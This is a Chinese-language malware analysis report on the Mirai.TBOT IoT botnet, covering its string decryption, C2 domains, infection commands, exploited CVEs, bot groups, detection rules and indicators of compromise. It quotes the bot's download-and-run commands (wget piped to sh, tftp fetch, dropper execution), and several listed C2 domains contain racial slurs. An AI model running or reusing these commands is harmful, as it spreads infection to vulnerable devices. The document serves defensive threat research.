Botnet

一个新的超大规模分组的Mirai变种僵尸网络TBOT

Acey9, Wang Hao, Alex.Turing

2024年1月2日 • 16 min read

Sample

概述

众所周知Mirai于2016年首次被发现，它通过利用物联网设备的弱密码和漏洞来感染它们。一旦设备感染，它们将成为网络的一部分，由攻击者控制，用于大规模的分布式拒绝服务攻击。Mirai僵尸网络通常根据感染方式或者被感染设备不同将Bot分为不同的组，以便攻击者更有效地管理和控制庞大的僵尸网络。近期我们注意到一个Mirai僵尸网络居然拥有100多个Bot分组，这引起了我们极大的兴趣。根据该僵尸网络进行Telnet扫描时会执行`/bin/busybox hostname TBOT`这一命令的特点，我们姑且将其命名为`Mirai.TBOT`。`Mirai.TBOT`僵尸网络有以下几个特点：

- 超多Bot分组（100+ Bot分组），意味着感染方式比较多
- 具备0day利用能力
- C2使用OpenNIC自定义域名（部分样本中有32个域名，作者并没有全部注册）
- 超大规模，2023年11月4日我们注册了上面提到的32个OpenNIC域名中的3个，结合连接这3个域名的Bot和网络流量中识别出来的该僵尸网络的Bot数量，我们能看到部分`Mirai.TBOT`僵尸网络的Bot数量，目前其Bot IP日活跃3万以上。
- 主要功能为DDoS

另外国外安全研究团队Akamai SIRT近期也从他们的视角分享了他们关于这个僵尸网络的发现。我们将基于奇安信大网威胁监控数据。从我们的视角分享我们关于`Mirai.TBOT`僵尸网络样本、Bot规模、感染目标设备、攻击目标等几个方面的发现。

PS: 在早期（8-9月）`Mirai.TBOT`的C2中有一个域名是`hinetlab.gopher`，这似乎是在和我们所在的前团队360Netlab `say hello`。

样本分析

- SHA1: e464666300b29868772d016f1b69831f7e5dbf0c

样本方面`Mirai.TBOT`保留了大量原始mirai代码，整体运行逻辑和网络协议与mirai保持一致。用于telnet爆破的用户名、密码和执行的命令明文存储，C2域名则存储在字符串表中。

字符串解密

在11月之前的样本中，使用20个DWORD key(0x3a):
`29F1F738DBA6A204A08D603BB4DA346C31F4803A7334890299BE8819320E985FD603AE5480270F12D8DE0542A6E0B45EF653CD40072A9C2E9FFA5B36CB2EF07C958D531A4F9F077A0FA9DF1284D34066`

之后样本使用1个DWORD key: 0x42F7F129(0x6d)

经过解密字符串表后

index 0-31为OpenNIC C2域名(port:38241)，随机选取一个硬编码的OpenNic DNS解析。

index 32为用于上报扫描结果的C2(port:1566)

剩余字符串如下：

```
index data
33 'gosh that chinese family at the other table sure ate a lot'
34 'TSource Engine Query'
35 '/proc/'
36 '/exe'
37 '/fd'
38 '/cmdline'
39 'enable'
40 'system'
41 'shell'
```

```
42 'sh'
43 '/bin/busybox BOTNET'
44 'ncorrect'
45 'BOTNET: applet not found'
46 '/proc/%d/exe'
47 'reboot'
48 'tftp'
49 'ftp'
50 'wget'
51 '/bin/login'
```

在12月下旬的样本中，使用经过修改的RC4算法解密字符串，在初始化SBox时使用`XOR`进行元素"交换"，在大多数情况下可以交换成功，但当`i==j and S[i]==S[j]`时，两个元素会被赋值为0，最终导致使用标准RC4解密时出错（少数情况下使用标准算法仍解密正常，这取决于key的不同和密文长度）。尽管如此，这对作者没有任何影响，他只是复制粘贴一个函数而已。

此外，粗心的作者在设置一个C2域名字符串的长度时出现错误，导致错误的域名`netfags.geekY`。

欢迎感兴趣的读者来体会两种交换方法的不同：

```
RC4 SBox xor exchange:
S[i] ^= S[j]
S[j] ^= S[i]
S[i] ^= S[j]

Standard RC4 SBox exchange:
S[i], S[j] = S[j], S[i]
```

C2选取

在样本数据段保存着C2的索引表，随机选取一个索引，根据索引解密字符串表中的C2，C2端口则硬编码为38241，该端口在多个样本中均保持不变。

目前看到的样本中至少包含4个C2，索引从0开始且连续，在2023/11/20发现的样本中，C2数量由32锐减为4个，在月底又修改了C2选取逻辑，较之前又新增了8个C2。

扫描与命令执行

在泄露的Mirai代码的基础上，`Mirai.TBOT`对telnet扫描函数进行了一些修改，添加了命令执行功能，具体执行命令如下：

```
/bin/busybox hostname TBOT
/bin/busybox echo > /tmp/.b && sh /tmp/.b && cd /tmp/
/bin/busybox echo > /var/.b && sh /var/.b && cd /var/
/bin/busybox echo > /var/run/.b && sh /var/run/.b && cd /var/run/
/bin/busybox echo > /var/tmp/.b && sh /var/tmp/.b && cd /var/tmp/
/bin/busybox echo > /dev/.b && sh /dev/.b && cd /dev/
/bin/busybox echo > /dev/shm/.b && sh /dev/shm/.b && cd /dev/shm/
/bin/busybox echo > /etc/.b && sh /etc/.b && cd /etc/
/bin/busybox echo > /mnt/.b && sh /mnt/.b && cd /mnt/
/bin/busybox echo > /usr/.b && sh /usr/.b && cd /usr/
/bin/busybox echo > /boot/.b && sh /boot/.b && cd /boot/
/bin/busybox echo > /home/.b && sh /home/.b && cd /home/
```

执行以下脚本，结束文件已经被删除的进程

```
#!/bin/sh

for proc_dir in /proc/*; do
    pid=${proc_dir##*/}

    result=$(ls -l "/proc/$pid/exe" 2> /dev/null)

    if [ "$result" != "${result%(deleted)}" ]; then
        kill -9 "$pid"
    fi
done
```

执行下载样本命令

```
/bin/busybox wget http://report_c2/wget.sh -O- | sh;/bin/busybox tftp -g report_c2
```

若命令执行失败(通过检查输出中是否包含`chinese family`)，则通过bot下载`http://report_c2/dlr.arch`保存至扫描服务器并运行，具体命令如下：

```
/bin/busybox echo -ne file_data > .d
/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
```

PS: 样本更新频繁，最新样本中的部分字符串和命令发生变化，这可能与Akamai SIRT的博客有关。

BOT规模

BOT数量趋势

早期`Mirai.TBOT`一直采用单个CC植入样本的方式、所以从我们的视野看并无明显异常，这种情况下我们只能看见有限的CC IP在传播`Mirai.TBOT`的样本。但11月初其在样本中增加了利用Telnet弱口令登录目标机器成功后直接将样本植入目标机器的功能。这一点和原始Mirai不同，原始Mirai是将弱口令登录成功的机器信息上报给CC然后由CC来植入样本。这一改动导致该僵尸网络的样本蠕虫式传播、使得我们可以看见更多的IP在传播这个家族的样本。其BOT上涨趋势如下图所示，中可以看到该僵尸网络的Bot数量从11月初开始疯狂暴涨。18号以后Bot数量明显下降的原因可能因为是作者发现我们注册了他的CC域名?

BOT分组与漏洞利用

漏洞利用

从我们的数据看，`Mirai.TBOT`除了利用SSH/TELNET弱口令传播样本外。还利用了32个漏洞传播样本，其中2个确认的0day、3个我们没有得到任何公开信息的漏洞。具体漏洞列表如下：

VULNERABILITY	AFFECTED
SSH_Weak_Password	
Telnet_Weak_Password	
CNVD-2022-91376	BLINK Router

VULNERABILITY	AFFECTED
CVE-2014-8361	Realtek SDK Miniigd SOAP
CVE-2014-9118	Zhone Technologies Znid GPON
CVE-2015-2051	D-Link DIR-645
CVE-2016-10372	Eir D1000
CVE-2016-20016	MV POWER CCTV DVR
CVE-2017-17215	Huawei HG532 Router
CVE-2017-5259	Cambium Networks cnPilot
CVE-2018-14558	Tenda AC7、AC9、AC10
CVE-2019-19356	Netis WF2419
CVE-2020-25499	Totolink TOTOLINK A3002RU Router
CVE-2020-8515	DrayTek Vigor2960、Vigor3900、Vigor300B Router
CVE-2020-8949	Gocloud Router
CVE-2020-9054	ZyXEL NAS
CVE-2021-22205	GitLab
CVE-2013-3307	Linksys X3000 Router
CVE-2021-28151	Hongdian H8922 Router
CVE-2021-35394	Realtek AP-Router SDK
CVE-2022-30525	Zyxel Firewall
CVE-2023-26801	LB-LINK BL-AC1900_2.0 v1.0.1、LB-LINK BL-WR9000
CVE-2018-16752	Linknet LW-N605R Router
CVE-2017-18368	Zyxel P660HN-T1A Router
CVE-2018-10561	Dasan GPON home routers
LILIN_DVR_RCE	LILIN DVR
Linksys_Router_unblock_RCE	Linksys E-series Router
OptiLink_ONT1GEW_GPON_Router_RCE	OptiLink ONT1GEW GPON
TVT_OEM_API_RCE	TVT DVR
YARN_API_RCE	Haddop Yarn API
0day 1	NVR

VULNERABILITY	AFFECTED
0day 2	Router
Unknown 3	DVR
Unknown 4	NVR
Unknown 5	Router

BOT分组信息

Mirai bot连接CC时会携带一个分组信息，这些分组信息是为了标识并组织被感染的设备，以便攻击者更有效地管理和控制庞大的僵尸网络。这个分组信息可以包含一些关键的标识符，例如设备的操作系统类型、或者其他识别信息。很多攻击者也喜欢用感染设备的方式来作为标识。这在Mirai僵尸网络中尤为重要，可能的原因如下：

- 定制化攻击，通过对BOT进行分组，攻击者可以定制不同的攻击策略。例如，使用不同的分组攻击不同的目标。
- 管理和控制效率，分组可以提高僵尸网络的管理和控制效率。对成千上万的受感染设备进行分组可以帮助攻击者更有效地下达命令和分配资源。
- 针对性漏洞利用，不同的设备和系统可能有不同的漏洞。通过分组，攻击者可以更有效地利用特定组内设备的特定漏洞。

早期`Mirai.TBOT`一直使用ICAAN体系域名作为CC，但我们观察到自从`9月下旬`开始它逐渐切换到OpenNIC自定义域名。样本中使用`32个`OpenNIC自定义域名作为CC、样本运行时随机访问其中一个域名直和CC连接成功。这些域名中有一些没有注册。于是我们注册了其中`3`个域名，当`Mirai.TBOT`样本运行时有一定几率会访问到我们注册的域名，并上报一些Bot的分组信息，于是我们就有了窥探`Mirai.TBOT`僵尸网络有多少Bot分组的机会。结果是令人震惊的，我们看到它居然多达100多个Bot分组。按照我们的经验通常一个Bot分组代表一种感染方式。仔细观察它的Bot分组可以看出有很多相似的分组这说明它并没有100多种感染方式，但是完全不同的分组还是很多的，依然令我们震惊。其具体分组如下：

其中Bot最多的前10个分组为：

GROUP	COUNT OF BOT IP	METHOD OF INFECTION	AFFECTED DEVICE
selfrep	50362	telnet weak password	
Emerge	38674		Router，Gateway
multi.cnr	12067	CVE-20**-***	Router
xpon	6848		Router
zte.v2	4869		Router
ven.0day	3096		Router
WebVuln	2892		DVR
kdvr	2885	0day 1	NVR
UTT-BOTS	2882	telnet weak password	Router
buffalo	1602	Command Injection	Router

一些比较有趣的分组，下面这些分组下面的IP只在来自一个地区，并没有其他地区的IP：

GROUP	COUNT OF REGION	COUNT OF IP	REGION
xpon	1	6886	India
ven.0day	1	3096	Venezuela
aquario	1	1078	Brazil
accessedge	1	116	Japan
blink	1	262	Ukraine
chomp	1	117	Brazil
eltex	1	206	Russia
multi.gozy	1	102	China Taiwan
netmaster	1	173	Turkey
nokia	1	100	Italy
phicom	1	119	China
telecom	1	284	Cabo Verde

BOT地理位置分布

从地理位置上看，被`Mirai.TBOT`僵尸网络感染的BOT机器基本分布在全球各个地区，感染比较多的地区是中国、委内瑞拉、印度、韩国、巴西、日本等地。

中国大陆地区地理位置分布江苏、湖南、广东、辽宁、云南、黑龙江等地

BOT IP AS分布

被感染设备和受影响单位分析

被感染设备

基于奇安信网络空间测绘平台-鹰图的数据。我们查询了这些僵尸网络Bot IP最近30天的的HTTP Title信息。数量最多的Titile信息如下，从这些Title信息我们大概可以看出哪些设备感染较多。

```
Login to TLR-2005KSH
Login to TLR-2005KSQ
Login to TLR-2021
Wireless Broadband Router
Login to SDT-CS3B1
DVR Web Service
FiberLink101
Synology NSA
ZTE Gateway - webGUI IX350
BroadBand Login
ZXHN H108N V2.5
GVONU-4GUPC
Eltex - NTU-RG-1402G-W
LTE CPE
ASUS Login
```

```
NETSurveillance WEB
Web Client
Ruckus Wireless Admin
Device Client
Login to TLR-2855KS6
```

Telnet banner中出现的字符串前20如下， 其中`TBOT Login:`可能是这些设备被改僵尸网络修改了主机名后返回的Telnet banner信息。

```
Login:
TBOT login:
login:
UTT login:
(none) login:
tc login:
192.0.0.64 login:
niggabox login:
YHTC login:
USR-G806 login:
freescale login:
DEMO login:
Broadband Router
niggabox
AONT login:
125E
UNIW-20 login:
xpon login:
LocalHost login:
zxic
```

受影响单位

通过查询我们的单位资产数据库。我们发现以下国内机构IP对应的资产可能被该僵尸网络感染。当然这些IP里面包括了一些友商沙箱出口IP，比如360、绿盟等。具体的单位和受影响IP个数如下：

DDoS目标分析

从被攻击的目标地理位置看，`Mirai.TBOT`僵尸网络的攻击目标遍布全球，并没有针对性。被攻击的受害者地区分布如下：

被攻击的受害者ASN分布：

检测

鉴于这些漏洞正在被积极利用，我们不便提供更多细节。我们提供Snort规则来帮助防御方识别其环境中的漏洞尝试和可能的感染。对于一些开放Telnet的设备可以检查主机名，如果主机名被修改为`TBOT`可能被感染了。

Sort规则

oday 1 payload

```
alert tcp any any -> any any (msg:"InfectedSlurs 0day exploit #1 attempt"; content:
```

oday 2 payload

```
alert tcp any any -> any any (msg:"InfectedSlurs 0day exploit #2 attempt"; content:
```

unknown 3 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #3 attempt"; content
```

unknown 4 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #4 attempt";  conten
```

unknown 5 payload

```
alert tcp any any -> any any (msg:"Mirai.TBOT unkonwon exploit #5 attempt";  conten
```

联系我们

感兴趣的读者，可以在 twitter联系我们。

IoC

Downloader

```
45.142.182.96   Germany|None|None       AS44592|SkyLink Data Center BV
94.156.68.152   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
94.156.68.148   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
94.156.68.150   Bulgaria|Plovdiv|Karlovo        AS31420|Terasyst Ltd
```

C2

OpenNIC域名

```
cbdgzy.pirate
cncvwk.libre
czbrwa.geek
dogchink.oss
edrnhe.oss
fawzpp.indy
fuckdafurry.dyn
gottalovethe.indy
```

gropethe.indy
hbakun.geek
hbpngf.oss
hfoddy.dyn
hinetlab.gopher
hxqytk.geek
iarrfd.dyn
iaxtpa.parody
icansinga.parody
icanteatthedog.pirate
icecoldfridge.libre
ksarpo.parody
kxynjt.indy
metbez.gopher
mfszki.gopher
monkeyontop.gopher
mqcgbs.gopher
onthereps.geek
pektbo.libre
pwskys.dyn
qhedye.oss
rikzgj.pirate
rmdtqq.libre
roaqxg.parody
rwziag.pirate
shetoldmeshewas12.dyn
shetoldmeshewas12.geek
shetoldmeshewas12.gopher
shetoldmeshewas12.indy
shetoldmeshewas12.libre
shetoldmeshewas12.oss
shetoldmeshewas12.parody
shetoldmeshewas12.pirate
shetoldmeshewas13.dyn
shetoldmeshewas13.geek
shetoldmeshewas13.gopher
shetoldmeshewas13.indy
shetoldmeshewas13.libre
shetoldmeshewas13.oss
shetoldmeshewas13.parody
shetoldmeshewas13.pirate
suckmytoe.libre
thischinkisa.geek
tjanwl.gopher
ujbljw.pirate
ulkvmb.oss
vbffwf.dyn
vrodpw.indy
vvsjfn.parody
wnisyi.libre
xtltgx.geek
xtvyez.indy
yelloskinscant.parody

```
yellowskin.oss
youra.geek
pboconline1023.dyn
pboconline1248.geek
pboconline2389.geek
pboconline3615.parody
pboconline7629.pirate
pboconline8271.parody
pboconline8273.pirate
pboconline9080.dyn
hiakamai.dyn
himrresearcher.dyn
infectedslurs.geek
netfags.geek
dogeatingchink.parody
w3d0ntlikebot5.parody
infectedchink.pirate
yellowchink.pirate
pb1345.dyn
pb3928.parody
pb9827.parody
pb2871.pirate
pb5872.pirate
etbez.gopher
fszki.gopher
qcgbs.gopher
hbpngf.libre
rdtqq.libre
ede.dyn
oke.dyn
ulkvb.oss
ujbljw.pirate
```

ICANN域名

```
husd8uasd9.online
asdjjasdhioasdia.online
infectedchink.online
cooldockmantoo.men
fuckmy.website
iliveona.cloud
infectedchink.cat
pqahzam.ink
sdfsd.xyz
cjfop.xyz
hbdfblf.xyz
idfdfh.xyz
jxhfn.xyz
homehitter.tk
shetoldmeshewas12.uno
```

```
skid.uno
dogeatingchink.uno
getcred.uk
fuckmy.site
fuckmy.store
```

IP

```
102.129.168.6   United States|Illinois|Chicago  AS40676|Psychz Networks
37.221.95.74    Germany|Nordrhein-Westfalen|Dusseldorf  AS24961|myLoc managed IT AG
45.142.182.96   Germany|None|None       AS44592|SkyLink Data Center BV
5.181.80.102    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.130    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.140    Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.53     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.54     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.55     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.59     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.60     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.61     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.72     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.77     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
5.181.80.81     Bulgaria|Sofia|Unknown  AS50360|Tamatiya EOOD
62.72.164.3     Germany|Nordrhein-Westfalen|Dusseldorf  AS174|Cogent Communications
91.92.252.214   Netherlands|North Holland|Amsterdam     AS394711|LIMENET
91.92.254.4     Netherlands|North Holland|Amsterdam AS394711|LIMENET
93.123.85.12    India|None|None AS213200|Ferdinand Zink trading as Tube-Hosting
```

Sample

```
02d7f7ca9950cb903c2a4c7e9c0c0dbcac8b6f5a
030288b38c71b7ccd372f6c5c162b0f45846ebbf
03232683b5e07a1fa8324817d3e4ede9f4bf7143
041ec933c0970bb79685192a80ebf21da33b28ee
04fa9edab61b770b4d02236780fd6829f29ab297
0723f347d0d8c5849de5d1e7716b26669c594bfd
07b6e105930e3ef997f89e93c9762f11d7dbc8a1
092f8ea0e7ea6bb201aed3714103967c51b64f2b
09894ac1b16b676cc4694dd1214f51ca8e23a19d
0b5446a8326ad6c885e411314c69003060df7b3a
0d02585b5ea7757e4c37394493a3a589d1a5d9f7
0e11b2ec2e208194d6b1ce9d669e6fa8e17fb978
```

0e23eb76564f7f98b03c9dd135d5b5ca7a6086e1
103416f7c32edc25bd6ac72f5d384d478df8cd00
1406d71815c13ac2089afd1adab4fb79f58e11b1
144972a8bb589c2228d5ccec622fcfadb8889a9e
15af666429156e7fbdfe1fb449e058cb4d7837f1
15f11531ce67e0808a0ec0fcf7c190d47b6bc90c
15fa96b125549fc2eb26be31706661ca77382f21
16d058958e2732e95e3fadc8769a7e8209b889d4
18e0e743dcf116e5bc9b734ca88caf75ad97a5df
1b8b7ae382e8a263467328323622b78b84c95f73
1eb87c1497fa038e3802d18420f7be938c1f3c76
2079d30b5d337e086653a3d5b8cf0cf2e09dbe06
231bd653715ca8bb9c923f876773974675643286
2895398531cefb5f7addb527eabe62b5c3342f6c
2a958b449cf65eb823f4b04c90f3fc25fa903c2d
2b1bb28f58c7ae3f9c50b08409c34208d56ccdba
2cd7df6fabb55278bbd7486f7942ca272f2ad59f
2db4de395c18ae39ca0d6d3063ed703e0830d350
2e9e8c9f4f5ddb78f9e534bda89b2df9f8e008ee
304ead7c67e187535f8be7d6be59974d400f3dbc
330b964d9a548d28b29060853cbe05982866381b
35292d18a8677e43b9c683c2b3ac69b9929ee854
35551143ad2aa7507576220ad090d56f6f9f83ad
35dbb0e69df04311cbd606571b119e8b4564acca
367dafb8f58e9b15633faf856c96fa1006025740
39ac3f23d2adf8fe3dff5f2af81539d10cf46c5f
3a88cd041cb1bce6f29eac68846c1034b9d53126
3caaba1488799b87a4fb81f0d174b04710489488
3fb804fff6b5adfb77944ce9ce7ca619b788e385
3fd867a83dd14a2966fc844656db284801225518
43f175d5c534a4f5003d67dd69876e87b437bc41
4459fe9886077fc83327e299cbdfb4fa64252aba
451d1aea75753617b8294719862f32864eb04d41
453a6690624aa1d6bdefce1f534d9cd2763162c7
45522e25416cb928e27d52f7ac69c8fb05bfc150
463e4b187f4490886215b16b3473fac8585ac609
4ded376d839bc83528cddce670234701545c3e12
4f0f85d0139b2dd2fcf231abfc5ef2b9bc106833
50598005db7eca495a25f36c3d56b023863d2b8c
6039dfbe279f0b04053aa76665069ffa5c454da9
62e05eaf7d985aa42ba164f3f16db71933eca814
63096ff0b4ee4beeb019da754be93c599bf383fb
64ad0ec7f3db48f30cbe50cffb54bee2152e94f5
671f2096b4b5e562fb9e085785043a43ffe4147e
67f8df4dd9cc1734d104a7f9ea9e524998e104ca
683ef18d9de4070627d0fcd01115648aba11fbef
68e913181e602aefcdab97252171e330d0b1fed8
693f4266f6a731ad35cab81c7cbfdd08773ff277
6c2b98781f5215298ff203e80232880866a31ffa
6cd655a688e375ec0f409ee28f8cf8eb52da220f
6e7f9b8cbca2fa4a7e8bedd1813b88079b7f04bd
704823981cff5b96e7d751b76811cd5ef2027aea
725ab9e109ab0791d0311f46918d841aebd49fb8

7895f6776b00faedacdf1eb285b71188a317f95d
789c34af78926f3beeac87ffc56e8f94248c4817
78cf949ca09105325d60d8002fbf7cae06ee0cd0
7c57de7f8c046a3ced1e2e079dc387209ef97caa
7c963d64df9476fe58e07d0c4af97c7a463428db
7f20844523cfddf6b1455a10359002d22cfbd885
81edfb29f9122c0d6a088af896f073f4ef97c775
825c78ec177a4ef290004749753b4dc13c58b262
84292a84c8e35ae832577c3a040419e91d4c0cd4
8a44661851c1c83863bf3fb60597e26e2dbe67d9
8be6b6235c00b4b27d621a363a8f2cd054380754
8cf75e300cdfc01292af6c76567d87c5fd4090d0
8ed88ae84aca2733130aafc1e35695fd720ac7a4
92a7c24d607b54d7e3fca137d6d7a022df6d78f4
95c188ef4360b7bf5a0603af99e0ffe8b3e54141
a1dc8a403843257968c911d43df082d625e12197
a1e6c0502cb31af03cd07a8fc1dd70fe11f6791a
a22143448003894702dcfc98ff5deb89087ef744
a2e910e6fc27bf32baa619929622251e1cc3adc5
a34d429af4a69b8bfaddb4182949c889244dd0d2
a4cc1a3a1c7b8b9170e83012ad18716ad2e5d765
aa4157843af4dfa3360193ee4625add37f3080b3
acd075978f8cd4313beb9d6e6b76984ccc18128c
b01181913e74ed6bc0acec23153dd6f11092bf59
b3de73ad43b20fee8952c3f2d5f60e8facd1ca1a
b4da7b9c1322f900e07f43c524e4e4fca6b3f944
b627bbbea5d93ee8cfa0769b74e4f9a8db9fe582
b6986958d5f5357fd0a3f5726be870009cd7f066
b7788d47ee97c0df95fe6344bbce747c9e1de23a
b92b256b31c92840ab11ebc96f4f9e01343590e6
b993a4e197ecaa1c978086621c6401cfef9f84ee
bb15b13b7e4aa69712c9dcf2a73055e6313e6aee
bbb43a2ead0b044e902a961ebf5f615e25af917f
bbd3fc37c4a2003d398f5ddf32a5a238e32d8db5
bea0a2e1706bbc85fc9ada411d58ae2cef371bed
c0e15d727273baa8863e84778b10f338698353ea
c35e3043c03cb2a569fd53792c78c98a74112f6d
c6864fedb4d5d903c8525f852827650e32a6e38d
c6d11b9222235a97d51513fba2485b250dca666b
c932fd391cd758e624345dbbf51afd5f8602ef51
c9b5d0a1888d4d64a95a845acb8d23950a81366f
cafdfd9f7e41e4a1facf44cea3b7bfbfda9c3949
cf0eff879211cfa5482786c4040adcd15a04093c
d1da613caba4351b88735e7373a6a0dfabd0f9ec
d374a39290aa1e5c7350802e911b0e15599c5adb
d93334e9196d44771dd408d2c6a994bac6f79c83
dbec38b00b4ff6e06cef8f98875e8f8ea4c0f58e
e0f881800581423b68758fccbe35a4f446fd0ea9
e12fc6a8d4933f59ce480ceafad591d42f0850d0
e3215baeaba3f6c6130c3d3582eca77076b187aa
e464666300b29868772d016f1b69831f7e5dbf0c
e47986ea6fb79353a60d4d2a5d6c8808a8f6ceda
e62a20f297c1f786766d887a181b24bc823bcbee

```
e7aef8cd720c9805206b0640b813729327af63bd
ee56461c3e104ae8dee99a73d0eb4536ecfec823
f325e44db16173a108bd0b110eda61474b23b191
f4b7a4176c179add2908a423bad54963c66f6f9c
f8327b7177101b2564bc85d4c14123789d393fb5
f8452f7e1e2434d6eecbdcc7417faf70e8b78c6f
f99a15ac07a30841e00da3638e6f9e5abcda3d87
fe8f16cc2d82fef0286005e26010946f3937df05
ff0a3b62bf80ea8c229ea586500fd05314caa601
ff4c0f48fd5cb83c529fce90aca929e3b98bb006
ff5694ad02c894ab52c6db7dfe1583902840e3ec
```